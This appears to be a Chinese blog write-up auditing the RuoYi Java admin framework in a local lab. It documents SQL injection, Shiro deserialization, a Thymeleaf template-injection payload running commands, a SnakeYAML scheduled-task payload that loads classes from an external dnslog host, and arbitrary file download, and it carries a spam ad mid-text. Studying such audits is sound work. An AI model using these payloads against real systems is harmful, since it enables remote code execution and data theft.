网站推广与宣传怎么做,印刷网站建设价格,和创互联的网站是多少,万维网网站续费环境布置#xff1a;
到官网下载源码#xff1a;https://github.com/yangzongzhuan/RuoYi
采用phpstudy集成数据库#xff0c;5.7版本。JDK1.8。
IDEA打开项目#xff0c;等待自动加载#xff0c;修改application-druid.yml配置文件#xff1a;数据库名#xff0c;账…环境布置
到官网下载源码https://github.com/yangzongzhuan/RuoYi
采用phpstudy集成数据库5.7版本。JDK1.8。
IDEA打开项目等待自动加载修改application-druid.yml配置文件数据库名账号密码连接数据库,修改application.yml中的端口避免与80端口冲突。 导入quartz.sql与ry_20201214.sql文件。
运行RuoYiApplication文件。
访问后台http://localhost:25001/login Sql注入漏洞
由于该项目采用了mybatis开发常见的找sql注入的方法就是全局搜索${
定位到可疑参数 根据id值selectRoleList全局搜索从xml定位到dao层 右键单击找该接口的使用在使用处发现selectRoleList方法全局搜索该方法定位controller层查看接口与传参 如下定位到controller层 分析代码首先以RequiresPermissions注解表明接口访问权限再以PostMapping注解表明接收接口并且以ResponseBody注解表明回将返回值写入http响应。
帮助网安学习全套资料S信免费领取 ① 网安学习成长路径思维导图 ② 60网安经典常用工具包 ③ 100SRC分析报告 ④ 150网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集含答案 ⑧ APP客户端安全检测指南安卓IOS
此方法会接收一个SysRole类型的role值并且将接受的role值以selectRoleList方法处理后返回给list最后返回给http响应。
于是我们现在需要分析
1role对象在接收它的参数时是否有过滤
2selectRoleList方法在处理role接收后的值是否有过滤。
跟进SysRole类发现无过滤 跟进selectRoleList方法发现无过滤 于是确定原dataScope参数存在sql注入到前端功能找对应数据包。 发现不存在dataScope参数,手动添加 将localhost换成主机IP放入sqlmap验证 Shiro反序列化
首先查看项目pom文件发现shiro版本为1.7.0 全局搜索cipherKey定位到密钥值 由此结合shiro反序列化利用工具利用。
Shiro未授权访问
查看shiro配置文件ShiroConfig.javaanon 为匿名拦截器不需要登录就能访问。authc 为登录拦截器需要登录认证才能访问。 Thymeleaf模板注入
本框架采用了 Thymeleaf 模板全局搜索:: 根据Mapping构造路径发送poc
fragment__*%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x 计划任务RCE:
如图添加计划任务
将调用目标字符修改如下
org.yaml.snakeyaml.Yaml.load(\!!javax.script.ScriptEngineManager
\[!!java.net.URLClassLoader \[\[!!java.net.URL
\[\http://w2h0ib.dnslog.cn\\]\]\]\]\)调用执行 dnslog出现响应 任意文件下载漏洞
继续如上创建定时任务
ruoYiConfig.setProfile(\/home/clown/Project/RuoYi-v4.6.0/ruoyi-admin/src/main/resources/application.yml\)执行后访问如下路径实现文件下载
/common/download/resource?resource.zip 跟踪下载路径定位代码 该处代码先接收resource的值再将该值放入checkAllowDownload方法里面校验后进入下载文件的代码调用。
于是跟进checkAllowDownload方法 发现该方法主要做了两件事
1禁止掉resource中的目录穿越…/
2以白名单形式检查文件下载规则
这里主要跟进一下2的代码
取点后缀 再以点后缀进行白名单匹配 如果在原controller层if判断为假进入下载文件代码流程 至此可发现下载文件的路径不可控且类型存在白名单限制
此时我们继续跟进本地资源路径的代码 我们可以发现本地资源路径是通过getProfile进行获取且该RuoYiConfig类存在setProfile方法由此可知可以通过计划任务调用该类的setProfile方法设置好路径直接绕过了前面的if过滤 之后即可调用/common/download/resource接口任意下载文件。